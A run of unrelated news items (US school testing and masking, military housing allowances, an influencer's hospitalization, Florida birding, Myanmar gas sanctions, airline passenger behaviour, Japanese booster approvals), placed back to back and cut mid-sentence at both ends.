and participation in the testing was on average with the state. For Inverness Academy, alternative schooling options are not assigned letter grades when it comes to the assessments. However, Inverness Academy was deemed to be compliant with the standardized testing, and the school met academic progress. Clark said, overall, he thinks the school district performed OK on the standardized testing. "We've got some work to do," said Clark. "Like I said, I don't want to use COVID as a crutch. I mean, everybody was up against it." The testing results and other school related data can be viewed at www.mischooldata.org. Contact Features Writer Kortny Hahn at khahn1@gannett.com. Follow her on Twitter at @khahnCDT. This article originally appeared on Cheboygan Daily Tribune: 'We've got some work to do': Superintendent reports on standardized testing results The military services have so far approved just 4,167 claims for the temporary increase in Basic Allowance for Housing, far fewer than were anticipated by defense officials. When the temporary allowance was announced, officials estimated that up to 200,000 service members could be eligible for the extra housing money. So far, about 2% of that number have submitted claims and been approved. The Air Force is at the head of the pack, with 3,174 claims processed more than three-fourths of the total DoD claims. Given the extensive marketing campaigns that have been conducted by the services and by the Defense Department, and the actual number of claims received, it would appear the original estimate was inflated, thus potentially setting a false expectation, said DoD spokesman Army Maj. Charlie Dietz. In September, defense officials announced that service members in 56 areas of the country could be eligible to apply for a temporary BAH increase to ease the financial burden on service members and their families especially those making permanent change of station moves affected by housing shortages and skyrocketing rental costs. The temporary payments apply to the months of October, November and December, and represent increases of 10% to 20 % over the current 2021 BAH rates. The announcement of new housing allowance rates that will take effect Jan. 1 is expected soon. Dietz said DoD officials are drafting more messages targeting all service members who are potentially eligible for the temporary increases to remind them of the entitlement, eligibility criteria and the application process. Those eligible can receive retroactive payments to the first month when their qualifying extra costs are verified, but no earlier than Oct. 1. Active-duty service members and full-time National Guard and Reserve members, with dependents and without, are eligible to apply. Those who generally qualify for the temporary extra BAH in the 56 high-cost areas are: Story continues Service members who relocated after March 13, 2020, and are now paying housing costs at their new duty station that exceed the regular BAH rate there; Service members who renewed a lease after March 13, 2020, and are now paying more their regular BAH; and Service members who relocated within their military housing area and are now paying higher housing costs. March 13, 2020, is the date the president declared a national emergency due to the ongoing pandemic. DoD officials determined that the pandemics impact on rental housing costs allowed them to authorize the temporary BAH increase. Our intent is to push the message to each service member as soon as possible, Dietz said, but no later than Dec. 23. The original DoD estimate was designed to capture all potentially eligible troops, he said. All service members living in the identified Military Housing Areas who were receiving BAH were included, he said. It wasnt an exact science. Data wasnt available at the time of the estimate and still isnt to accurately determine how many service members in that potentially eligible group actually experienced housing cost increases over their current BAH to such a degree as to motivate them to submit a claim, he said. The need for this temporary BAH increase was identified during multiple visits to the Pacific Northwest by senior Navy leadership, who spoke with sailors in the area, said Navy Capt. Dave Hecht, spokesman for Chief of Naval Personnel. Many service members who contacted Military Times this summer and fall lamented the toughest PCS moves of their careers because of the shortage and cost of suitable housing. (Army) Of the sailors living in the 56 approved areas, 30,000 could be eligible for the extra money if they meet the eligibility requirements, he said. The Navy has been heavily promoting the temporary BAH increase through social media. Navy leaders, like those in the other services, heard service members dismay about shortages of suitable housing and rapidly rising costs and brought their concerns to senior DoD leadership. Defense officials analysis of rental housing market data from March through August revealed the pandemics significant impact. Of the 56 military housing areas with temporary BAH hikes, five get a 20% increase; 11 get a 15% increase; and 40 get a 10% increase. The five areas with a 20% increase are: Marine Corps Air Ground Combat Center Twentynine Palms, California; Eglin Air Force Base, Florida; Boise, Idaho; Mountain Home Air Force Base, Idaho; and Spokane, Washington. It's final: hard-hit troops in 56 areas can apply for a temporary increase in their housing allowance The Air Force had processed 3,174 claims for airmen and Space Force guardians as of Dec. 13, said Air Force spokeswoman Laurel Tingley. Those approved claims have either been paid or will be paid at the next payday. A total of 3,224 claims had been submitted. Of the 3,174 approved claims, 1,994 are from enlisted and 1,180 from officers. Tingley said officials encourage airmen to carefully read the procedures for submitting claims and to talk with their supervisor if they have any questions. Due to an email address change by the Defense Finance and Accounting Service in October, some submissions for payment for October were delayed, but that has been resolved, Tingley said. All personnel who had an approved request for the month of October 2021 received their allowance on 15 November payday, including back pay for October, she said. Officials with the other services said they werent aware of any glitches with DFAS. The Marine Corps, the smallest service, is next highest in claim numbers, with 506 claims paid at a total cost of $174,000 as of Nov. 30, said Marine Corps spokesman Maj. Jordan R. Cochran. Of the 506 Marines paid, 55% are enlisted and 45% are officers. Marines are encouraged to read the procedures before they submit a request for the increase, Cochran said. Those procedures are outlined in Marine administrative message 511/21 and in the frequently asked questions section of the Manpower and Reserve Affairs website under the 2021 Temporary BAH Increase banner. Marines should also contact their chain of command if they need additional guidance. In the Army, 291 soldiers claims were approved out of 391 submitted, according to information provided by the Defense Finance and Accounting Service, said Army spokeswoman Ellen Lovett. There have been approximately 100 submissions returned due to missing information, discrepancies or ineligibility, she said. Lovett said soldiers must submit completed packets to their unit personnel offices, including a properly completed DA Form 4187, Personnel Action, signed by the soldier and battalion commander or equivalent, along with supporting documentation reflecting an increase in the normal monthly expenses associated with housing costs. Ultimately, Soldiers total housing costs must be greater than their current BAH rate to receive the temporary BAH rate increase, she said. The Navy has had the fewest claims submitted, just 254, and it had approved and paid 169 of them as of Dec. 1. The remaining 85 are still being reviewed, said spokesman Navy Capt. Dave Hecht. The total amount paid as of December 1st is $61,877.40. Service members eligible for the temporary Basic Allowance for Housing can receive payments retroactive to the first month when their qualifying extra costs are verified, but no earlier than Oct. 1. (Eric Pilgrim/Army) Sailors should work with their pay and personnel administrators and chains of command to correctly submit their applications for the program, Hecht said. Due to administrative errors, 14 claims were denied and returned to sailors, but all 14 were corrected, resubmitted and paid, he added. Military families caught in a housing crunch suffer deeply this PCS season Service members should check the qualifying criteria even if they think they may not be eligible. For example, service members living in privatized housing generally are not eligible for the temporary increase. However, if their lease agreement doesnt include utilities and the member pays directly to a utility company, then increased costs, such as a rate increase imposed because of the pandemic, could potentially qualify the member for temporary BAH. Service members who own a house and can show a housing cost increase attributable to the pandemic, such as a utility fee imposed because of COVID-19 related costs, may be eligible for the temporary BAH. Read the service-specific instructions, as well as DoD FAQs for more information. WOOSTER Students in kindergarten through 12th grades attending City Schools will be required to don masks when classes resume after winter break. The Board of Education voted 3-1 Monday, Dec. 14, to require students and staff to mask up in all school buildings between Jan. 3 and until the board can examine the issue further at its first regular meeting of the new year. More: Mask mandate back in effect at Cornerstone Elementary; administrative changes proposed Michael Knapic cast the lone no vote. Dan Stavnezer was absent. The school board will review the mask mandate at a January meeting to discuss how long it should last. The date for that meeting will be determined at a Jan. 11 organizational meeting. Discussion: COVID safety in Wooster schools after holiday get-togethers The board discussed whether to mandate the wearing of masks when students return from winter break. The previous mandate on mask-wearing at all schools except Wooster High School expires at the end of the year. Discussion centered around taking precautions based on holiday get-togethers with family members and friends not seen in the recent past. Board President Sue Herman once again recommended "erring on the side of caution." While the mask requirement will encompass kindergarten through 12th grades, it will not apply to extracurricular activities, where masks will be optional. Mask debate last August: Public continues to debate Wooster school district's mask mandate Dr. Jodi Hannan, medical director of LifeCare Hospice, addressed the board during public comment as a concerned physician and parent. Hannan said local and area hospitals are filled to capacity. She attributed much of the rise in cases to gatherings during Thanksgiving and predicted when students and teachers return after winter break "there is going to be spread." She also pointed to the effectiveness of masks in limiting the spread of COVID-19. Public questions PAC repairs, disparities with honors classes, course offerings Story continues Superintendent Gabe Tudor and Herman spoke to issues brought up by two district residents in submitted questions. Melissa Hughes said the Performing Arts Center at the high school is in "desperate need of repair" and asked why it has been neglected. Hughes said attending to upgrades would demonstrate to the community the importance of fine arts in the district. Tudor said district personnel have held a meeting about changes; and although it won't be able to be fixed all at once, issues will be addressed. Gabe Tudor Tudor said the district wants "to create new systematic plans," and acknowledged that the sound issues in a recent production were "frustrating." Brian Cudlip reviewed a previous discussion about the administration of honors classes at the high school and the socioeconomic and racial inequities involved. He asked what has been done to suggest or make changes since the issues were raised by the former high school principal at a board meeting in May. COVID and schools: 'Invisible backpack' of pandemic stress weighs down Ohio students, causing behavior issues Hughes also asked about foreign language offerings, noting Mandarin should be taught. She said the district is stuck in the '70s with German and French. Tudor said the scheduling process has not yet been started at the high school, and the leadership has had conversations about course offerings. However, he said, he doesn't anticipate changes for next year, in part because "we want to get a long-term person in place." Tudor referred to the high school being in transition and changing principals. John Deuber resigned mid-year as interim principal of the high school, and Cornerstone Elementary School Principal Eric Vizzo is taking over for the remainder of the school year. The district will be posting the position for a permanent high school principal. Herman spoke to difficulties with which the board has been dealing, from COVID-19 bus drivers shortages. "We've been playing dodgeball with all these things that have been thrown at us," she said. "A lot of issues are coming up that have been here for a while. It's not that we're neglecting; it's not that we're ignoring." 'We've been trying to keep on top of all the things coming our way," she said. District training new bus drivers Three people have begun training as bus drivers, said Tudor, and it takes two to three months to complete. "Our community has been very gracious," Tudor said, in responding to transportation department delays. More: Double routes, delayed buses in Wooster City Schools caused by bus driver shortage Fortunately, he said, "Most of our kids have not been missing extensive instruction time. We don't take that for granted, and we know it does cause inconveniences." Board member Danielle Schantz said parents should contact the district if they have problems with children potentially being left alone to wait for a bus or with getting to work on time. Anyone interested in bus driver training should contact the district. Herman was appointed president pro tempore to preside over the Jan. 11 organizational meeting. The board will take no action other than on organizational items, Tudor said, such as appointing a president and vice president and determining the dates of 2022 board meetings. The organizational meeting is open to the public. A closed-door meeting will follow for superintendent and treasurer evaluations. Herman thanked outgoing board member Kristina Boone for her service, and gave a "shout-out" to outgoing board member Stavnezer, who was recognized for his tenure at the November board meeting. UP NEXT An organizational meeting will be 6 p.m. Jan. 11 in the district meeting room at Wooster High School, 515 Oldman Road. This article originally appeared on The Daily Record: Masks required in Wooster City Schools after holiday break Nikita Dragun said she was picked up by police in Virginia on Thanksgiving Day. MEGA / Getty Images YouTuber Nikita Dragun said she was involuntarily detained in a psychiatric hospital in Virginia. In a series of Instagram posts, she said she was picked up by Virginia police on Thanksgiving day. Dragun said she shared her struggle to feel "less alone." Beauty YouTuber Nikita Dragun says she was admitted to a psychiatric hospital where she was held involuntarily for eight days, according to statements posted on her Instagram on December 13. Dragun posted a series of Instagram stories and a 10-post carousel of photos and videos along with a lengthy caption in which she said she was "kicked out on Thanksgiving day" and "walked the streets" before being picked up by the police and hospitalized. "I was administered into a Psychiatric Behavioral Health Hospital involuntarily," she wrote on Instagram. "I was drugged so intensely I couldn't even keep my eyes open for days." She did not specify which facility in her text but posted a photo of Riverside Behavioral Health Center in Virginia, which did not immediately respond to Insider's request for comment. The 25-year-old influencer joined YouTube in 2013 posting beauty videos and tutorials, and in 2015, she came out as transgender. To date, she has 3.6 million subscribers, her own brand Dragun Beauty, and filmed two seasons of a Snapchat reality series. She has also grown an audience on Instagram and TikTok, where she has 9 million and 14.2 million followers, respectively, and is currently a member of the Hype House, a TikTok creator collective starring in an upcoming Netflix show. In her main Instagram post about the incident, Dragun said she had been detained during a trip to Virginia by a Magistrate order, which is typically granted when a person is found to be incapable of making informed decisions regarding medical treatment and has a "serious illness or injury that is likely to result in death, disability, or serious irreversible injury." Story continues In an accompanying Instagram story which is no longer publicly available to view, she said she was hospitalized for eight days. Dragun said the incident occurred when she was picked up by the police while walking outside in "clear stripper heels" in the cold. Virginia state police declined to comment on the incident as the post did not identify which police department or sheriff's office was involved. She added that she had been seeking mental health support in the months prior, and told her followers she wanted to share her story because she wanted to be "seen and heard." In a follow-up series of Instagram stories posted on December 14, Dragun said she was "nowhere near a clear mindset" when she posted about the incident and was "dazed and confused" but said she wanted to share her experience to feel less alone. She said she is "still reflecting" on what happened, but she will share more details "when the time feels right." She added, "There is never any shame in facing struggles with your mental health. Please know that you are not alone." Dragun has since posted unrelated content on Instagram and TikTok, suggesting she is no longer hospitalized. Dragun, who is of Vietnamese and Mexican descent, is a recognizable yet controversial figure in the influencer community. She has been accused of blackfishing by artificially darkening her skin and cultural appropriation for wearing her hair in box braids a hairstyle that is typically worn by Black women. She also faced backlash for defending fellow beauty guru James Charles in the midst of his scandal and was accused of irresponsible partying during the COVID-19 pandemic. For more stories like this, check out coverage from Insider's Digital Culture team here. Read the original article on Insider As we looked out on a lake full of hundreds of white birds great egrets, snowy egrets, white ibis and white pelicans the pink of the roseate spoonbill was easy to find. On a recent trip to Florida, Michael and I were lucky to see several new species of birds for me and at least one for him. The roseate spoonbill was the big prize for me. They have one of the oddest-shaped bills in the bird world, much like a flat wooden ice cream spoon. These large wading birds swing their bills from side to side to sift through the mud for crustaceans, insects, frogs and tiny fish. Ding Darling National Wildlife Refuge on Sanibel Island is a favorite spot to find them. There were five on the lake in varying degrees of pink. They darken as they mature. While roseate spoonbills are occasionally spotted in Central Virginia, they are regular inhabitants of central and southern Florida, the Caribbean and South America. The numbers of other birds on the lake were virtually impossible to count, and we finished the four-mile car trail with a total of 20 species. For Michael, the hunt was on for a burrowing owl. His brother had told us he reliably sees them on Marco Island, where a biologist has roped and staked the few remaining owls in yards and a handful of vacant lots. Burrowing owls are listed as threatened in Florida because people have built on their sandy habitat and let pets roam freely. As their name implies, burrowing owls dig holes in the ground and hunt for prey on the ground. Unlike most owls, they hunt during the day. We drove out to Marco Island one afternoon but saw no signs of life in the roped-off burrows. We decided no self-respecting owl would sit out in 82-degree heat so we got up early the next morning to try again. We lucked out and found a hole with one little owl standing near its den, while a second poked its head out. Their sunshine yellow eyes fairly glowed above their white-speckled brown backs and lighter chests. We drove around and found a third owl, but saw no others. At 9 inches tall, these owls are easy to miss, and we watched as walkers and bikers failed even to glance their way, even though we were gawking at them with binoculars. While burrowing owls are about the length of our eastern screech owls, they lack tufted ears and are less fluffy. Lakes also gave us a chance to see lots of little blue herons, tri-colored herons, mottled ducks and even black-bellied whistling ducks with their improbable pink beaks and legs and gorgeous brown and black bodies. As we drove along Floridas roads, which are generally carved out along water-filled ditches, we saw another batch of spoonbills and several prehistoric-looking wood storks. Florida is a great place for many species to live and winter, including lots of humans, but we decided one summer per year is enough. Shannon Brennan can be reached at shannonw481@gmail.com. JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She and her parents had long worked for Total Energies, the French company that operates a lucrative gas field off the coast of southern Myanmar with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Total gas field, known as Yadana. As military abuses such as the murder and detention of thousands have grown, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman chanted slogans outside Total's offices, and later protested the military's takeover. She said she has since lost her job, and was thrown into prison for three weeks. We had a good relationship and good memories of Total, said the young woman, whose name, like those of other Myanmar gas workers in this story, is being withheld by The Associated Press for their safety. Total has taken a lot from Myanmar....so they should at least help Myanmar with a little bit of effort during such a bloody period in our country. In recent months, the Myanmar publics cries for sanctions on gas revenues have grown thunderous. In August, activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. Others posted photos of themselves on social media holding signs that targeted the gas companies at the center of the debate: Total, Chevron Stop accessory to murder. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, 540 civil society organizations in Myanmar joined international colleagues in sending a letter to CEO Patrick Pouyanne asking Total to put an end to its complicity in crimes against humanity by making payments to a holding account. The letter argued that Total is violating local laws against misappropriating public money and has placed itself on the side of the junta. The AP also obtained a copy of a letter from workers at Yadana to their managers earlier this year calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military, place the funds in a protected account and freeze income tax. We are specifically concerned that the profits gained from Yadana Project, which we are working for, will, one way or another, help fund the military juntas violent repression of Myanmar people, the letter said. Total and Chevron say they condemn human rights abuses, but also want to prevent further harm to the people of Myanmar by cutting off electricity. In addition, Total said it is wary of putting its local employees in danger of reprisals from the military, including forced labor. Meanwhile, tolerance on the ground for global inaction has worn thin. Local armed groups, referred to as People's Defense Forces, have targeted bill collectors for the national utility and sabotaged buildings and infrastructure, according to EarthRights International, which works on environmental and human rights issues in Myanmar. Pro-sanctions activists do not want to shut down the gas field itself. Instead, they want to sanction the projects revenues and place them in a protected offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. Gas from Yadana is piped to Myanmar and neighboring Thailand. Total cancelled exploration for new deposits in Myanmar after the military takeover. But it argues that it has to pay taxes and respect its contracts under the law, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. Several smaller offshore gas fields also operate in Myanmars waters, run by companies from Thailand, Japan, Malaysia, India and South Korea in partnership with MOGE. And China is an investor in the pipeline that delivers the gas to the country. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline is particularly important, earning around $400 million in revenues in 2017-2018. Yet despite the growing calls for action, neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. The current sanctions from the U.S. and European Union lean heavily on gemstones. The U.S. State Department did not directly address APs questions about why it has yet to impose sanctions on MOGE. Instead, the department pointed to a list of other people and entities the U.S. has already sanctioned, including several military officials and their family members, two army units believed responsible for a litany of atrocities, the militarys two largest holding companies and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. He did not mention oil and gas sanctions. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. Despite that, a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Activists have accused Singapore's banks of holding assets on the Myanmar military's behalf, although its central bank has said regular surveillance showed Myanmar companies and citizens did not have significant funds in the city state. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying areas of focus. It certainly seems in the U.S. there is a major lobbying campaign going on from Chevron to try and protect its interests, said Chris Sidoti, a human rights lawyer and a member of the U.N. Fact Finding Mission on Myanmar from 2017 to 2019. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government also said it wants to avoid adding to the burdens of Myanmar civilians through sanctions and aims to target individuals from the junta rather than a vital economic sector. France wants to avoid normalizing relations with the junta but also wants to stay involved on the ground for humanitarian reasons, which requires operational contacts with Myanmar's administration, according to a senior official in the French president's office. He described the French government's thinking on condition of anonymity. He said Total's activities in Myanmar, including how it carries out payment for the gas, are the company's responsibility. Both the French government and Total want a return to a democratically elected government, but at the same time you have to take into account the reality on the ground," he said. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. MOGE can be targeted for sanctions without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. The people of Myanmar are not calling for anything that they, themselves, are unwilling to do, Andrews said in an e-mail to the AP. But the fact remains that to be truly effective, the people of Myanmar need countries to join them and impose sanctions on MOGE. Last month, the National Unity Government, an underground opposition group and parallel administration, released a public statement that dubbed MOGE the militarys most important financial lifeline and called for urgent sanctions. As a nation, we have these natural resources to build a school, to build a hospital, to build a road, said spokesman Dr. Sasa, who goes by one name. So why are we still using this money to kill the people of Myanmar? To us, it is barbarity. In response to questions, the military said state revenue is used for education, infrastructure, development projects and public service, and is also used proportionately for the rule of law and for defense. The military has long denied allegations of human rights abuses. All state revenue is spent according to the needs of the country, the military said in a statement to the AP. "Putting restrictions on the current government is directly affecting the social and economic life of the citizens. The Yadana project provides less than 1.5 percent of Chevrons worldwide natural gas output, and Total says Yadana represents less than 1 percent of its production. But while Yadana isnt a significant source of income, it also doesnt cost the companies much because major set-up fees were incurred decades ago, said Readul Islam, a Singapore-based research analyst at Rystad Energy. Chevron and Total would also struggle to sell the operation, given the remaining short life of the aging gas field and the grim political situation, he said. These operations are not company-makers by any sense, but they are profitable," Islam said. Also, Chevron and Totals aversion to sanctions may be less about money than about precedent, said John Sifton, Asia advocacy director at Human Rights Watch. If you signal that every time a country has serious human rights abuses, Human Rights Watch and other groups can come in and say, You should sanction your revenue, its going to create business headaches for them all over the world, he said. With public pressure mounting, Total and Chevron announced in May that they were suspending dividend payments by the Moattama Gas Transportation Company, which owns the Yadana pipeline. While welcoming the move as a first step, activists argue the dividend payments are a fraction of the militarys gas revenues. The energy analytics firm Wood Mackenzie in November downgraded its forecast of Myanmar gas exports to Thailand after Yadanas output fell faster than expected. Rights activists said Thai fears of a gas slowdown or cutoff at a time of surging prices across Asia have stiffened its resistance to new sanctions, which the U.S. and EU appeared reluctant to challenge. The Thai government did not respond with comment. In Myanmar, some gas workers have dismissed the energy companies concerns that they will face retaliation with sanctions, arguing the entire country is already oppressed. One 10-year employee of Total said the risk of losing his job due to sanctions was nothing compared to the risk of the generals remaining in power. Everyone needs a job, he said. But I dont want to survive by working here while everyone is suffering from this crisis. Given he and millions of others already have risked so much in the pursuit of democracy, he is frustrated with the international communitys failure to act. I dont understand why they keep paying the junta, he said. After the young woman whose family had long worked for Total protested outside its gates, the contractor company that hired her warned her not to participate again in the countrys pro-democracy Civil Disobedience Movement, she said. A few months later, she posted on social media about what she felt was Totals poor treatment of a colleague who died of COVID-19. Days later, she said, the contractor company fired her for allegedly defaming Total. In a statement, Total said that no Total E&P employees have been fired since the military's takeover, and none have been prevented from participating in the Civil Disobedience Movement. In September, she was arrested and imprisoned for three weeks under Section 505(A) of the Penal Code, which, in part, criminalizes comments that cause fear or spread false news. I feel very disappointed in Total because they are neglecting this country in which they invested, she said. For another Total employee, the lack of action from those who claim to stand for human rights is baffling. Why, he asked, hasnt the international community told gas companies that if they do business with the military, they can no longer do business with the rest of the world? For him, the solution to military abuse is simple. If they do not have revenue, they cannot buy weapons, he says. If they cannot buy weapons, this revolution will end quickly. Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok contributed to this report. Correspondents Matt Lee and Ben Fox contributed from Washington, D.C. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. The Franklin County School Board has voted to discontinue its virtual education offerings for the 2022-23 school year. The current virtual education offerings will still be available to students through the end of May 2022. The school divisions breakdown of the numbers is as follows: Currently, 106 students in the division are enrolled in virtual education for the second semester of the 2021-22 school year. The number represents students who are enrolled in Virtual Virginia and students who utilize a blended learning offering. There are 70 students enrolled in Virtual Virginia, including 41 high school students, five eighth-grade students, nine sixth-grade students, five third-grade students, four second-grade students and six first-grade students. There are 24 seventh-grade students in the virtual team at Benjamin Franklin Middle School. There are 12 students enrolled in a blended course offering, including five fourth-grade students and seven fifth-grade students. The students enrolled in the divisions virtual offerings are supported by seven teachers, according to the school system. Additionally, school counselors, an administrator of instructional technology and school principals spend time registering, monitoring, communicating and collaborating with Virtual Virginia and students who are enrolled in virtual education. During her presentation Monday, Suzanne Rogers, assistant superintendent, noted that the divisions central office team met several times to discuss whether virtual education should be placed in the divisions 2022-23 budget. Due to teacher shortage and the number of staff it takes to support virtual education, we recommend discontinuing the option in the 2022-23 school year and not placing it in the budget, the staff recommendation to the board read. Julie Nix, the board chairperson and Blue Ridge District representative on the board, asked for clarification related to the impetus for the recommendation. So were understanding this correctly, its not a matter of money as much as it is personnel in our classrooms? she asked. Rogers replied: Correct. These seven teachers can then be brought back into the classroom settings. Bernice Cobbs, superintendent, noted that one or two classes at Franklin County High School may be offered via Virtual Virginia in the future because of a possible staffing shortage. Rogers added, What we wont offer is 100% virtual for a student, but there may need to be some classes covered from a virtual or blended option. Virtual Virginia is a program of the Virginia Department of Education. It offers online Advanced Placement, world language, core academic and elective courses to students throughout Virginia. Episode 27: Richard Kyte and Scott Rada talk about the pros and cons of the consumer society in which we live and whats the right ethical way to proceed as we quickly approach Christmas. Next they discuss the fallout from the terrible tragedy that left six people dead and many more injured in a holiday parade in Wisconsin. And in the third segment, they look at the recent firing of Chris Cuomo from CNN and whether he was right to put his family before his job. Joy? Peace? Good will toward men? Good luck with that if you work for an airline. One Piedmont Airlines flight attendant says she prays every morning before leaving home not in case the plane malfunctions or the weather gets dicey. She asks to be delivered from belligerent passengers. I was having a lot more anxiety going to work, the flight attendant told The Charlotte Observer. Oh gosh, is today going to be the day? In other words, would this be the day a passenger chooses to abuse her verbally, or worse? She is one of a number of frazzled flight attendants fretting that this may not be the most wonderful time of the year. The Federal Aviation Administration has reported 5,400 incidents involving unruly passengers this year, of which more than 1,000 cases are or have been investigated. There were only 183 such investigations in 2020 and 146 in 2019. And they appear to be as random as they are severe. In February, a woman aboard a JetBlue flight bound for New York from the Dominican Republic threw an empty liquor bottle after refusing to wear a mask, nearly hitting another passenger. She also hurled food and shouted obscenities and grabbed, struck and scratched a flight attendant, The New York Times reported. In May, a 28-year-old woman was charged with felony battery following an altercation on a Southwest Airlines flight from Sacramento to San Diego. The flight attendant suffered facial injuries, lost two teeth and was rushed to a hospital after being struck by the woman. In July, a Charlotte flight to the Bahamas was canceled after a group of about 30 high school students from the Boston area refused to wear masks. Said one exasperated fellow passenger to WSOC-TV: All they had to do was follow the rules, put the mask on, sit there. No smart-mouth comments. And they couldnt do it. And in October, an American Airlines flight attendant sustained a concussion after a 20-year-old male passenger struck her in the face. Theres a palpable fear for many flight attendants about coming to work, a spokesman for the Association of Professional Flight Attendants told the Observer. The behavior that were seeing a surge of is life-threatening. It threatens the safety of everyone on board. Many of the incidents involve passengers who refuse to wear masks, even with the threat of COVID still very much in the air. (The federal mask mandate for airlines and other public transportation has been extended until March.) Lots of them also involve alcohol. Small wonder self-defense training is offered to flight crews, not so much to deter terrorists as to defend themselves from rowdy passengers en route to grandmas house for the holidays. To be clear, while flight attendants have borne a disproportionate share of Americans sour dispositions, it appears we dont need airline boarding passes to be rude and disagreeable. Just ask a restaurant worker or retail clerk. And this appears to have been building over time. According to a 2019 national poll of Americans, 93% of respondents said that uncivil conduct was on the rise. Sixty-eight percent of those polled considered it a major concern. Perhaps because of the lingering stresses of the pandemic, were angry and impatient and sometimes inexcusably self-centered. Then theres politics. So well ask respectfully: If you feel the impulse to be the Grinch Who Spoiled the Christmas Flight, heres a list worth checking. And worth checking twice: The FAA has adopted a zero tolerance policy. Passengers who interfere with or assault flight attendants face fines of up to $35,000 and possible jail time. Of course, ideally, it shouldnt take the threat of a fine or jail sentence to compel grown-ups to behave well. So just expect that there will be crowds and delays, and mask rules, during the holiday travel season. And deal with it. Before fastening your seat belts and returning your trays to their original upright positions, please check your humbug attitude at the gate. So therell be a Merry Christmas for all and for all a good flight. Adapted from an editorial in the Winston-Salem (N.C.) Journal Forest plan essential As an Elon native, I write in response to your Nature column of Nov. 17, Saying farewell to a doomed forest. Timber harvests and prescribed fire will save our George Washington and Jefferson National Forests (GWJEFF). Data, science, and field work guide progress from current status to desired conditions. Active management restores essential forest age-class and structural diversity like regenerating young forest, savanna, and open woodland. These diverse components together with mature trees and wildlife make up the forest. Young forest thickets are as important to the Appalachians as coral reefs and sea grass to the ocean. Best created by sustainable timber harvests, they provide biological diversity, protection, breeding and food supplies for hundreds of wildlife species. Young forest maturation yields other age-classes. The 2014 George Washington (GW) Revised Land and Resource Management Plan details management directions and assures continued forest health. Virginia is fortunate to have United States Forest Service employees as national forest stewards. These professionals apply facts and public input to assemble and implement plans and projects. Long-term plans guide individual projects which assure forest health and public benefits like water, recreation, jobs and climate change responses. The GW Plan represents citizen and professional stakeholder consensus. Preservationists, lawyers, academics, conservation organizations and forest product industry studied current forest science, met, hiked, debated and reached agreement on forest diversity including a mosaic of forest components. Humans and wildfire contributed to this mosaic for eons by creating disturbances which maintained forest age-class and structural diversity. The population of men and women who helped shape forests for eons began to dramatically decrease around 1500 AD. Rampant Appalachian timber harvests ended early last century with the advent of forest sciences and regulation. Current wildfire suppression minimizes any remaining disturbance. Here we are with a GWJEFF badly in need of restoration. Without sustainable harvests and prescribed burns creating and maintaining young forest and other forest types, we lose young forest along with other age-class and structural components. Our GWJEFF will decline further into an old, closed canopy tree monoculture hosting very few wildlife and plant species as compared to healthy, diverse forests. WAYNE THACKER Bumpass Japan's health ministry is set to approve the use of the Moderna COVID vaccine for third shots. The country has already started giving the Pfizer vaccine as booster shots. An expert panel of the ministry on Wednesday agreed that the Moderna vaccine can be administered as the third dose for people in the country aged 18 or older. The ministry will give the green light soon. Ministry officials say the third dose will be half the amount of the previous shots, based on a clinical trial carried out by Moderna in the United States. It says the trial found that the level of neutralizing antibodies one month after the third dose with the smaller amount was about 70 percent higher than the level one month after the second shot. The Moderna booster shot can be given six months after the second dose. The ministry says at least 97.5 million doses of the Moderna vaccine are expected to be available until June next year. It plans to use Moderna doses in the workplace vaccination program from March as well as at medical institutions and large-scale vaccination sites. The ministry had distributed the Pfizer vaccine to local authorities for vaccine programs at medical institutions. But people who received it for their previous shots may be given the Moderna vaccine as the outlook for the supply of the Pfizer vaccine is unclear. Megan Phipps had two previous normal pregnancies, so she had no inkling that the third one would be troublesome. But early on, she started to have 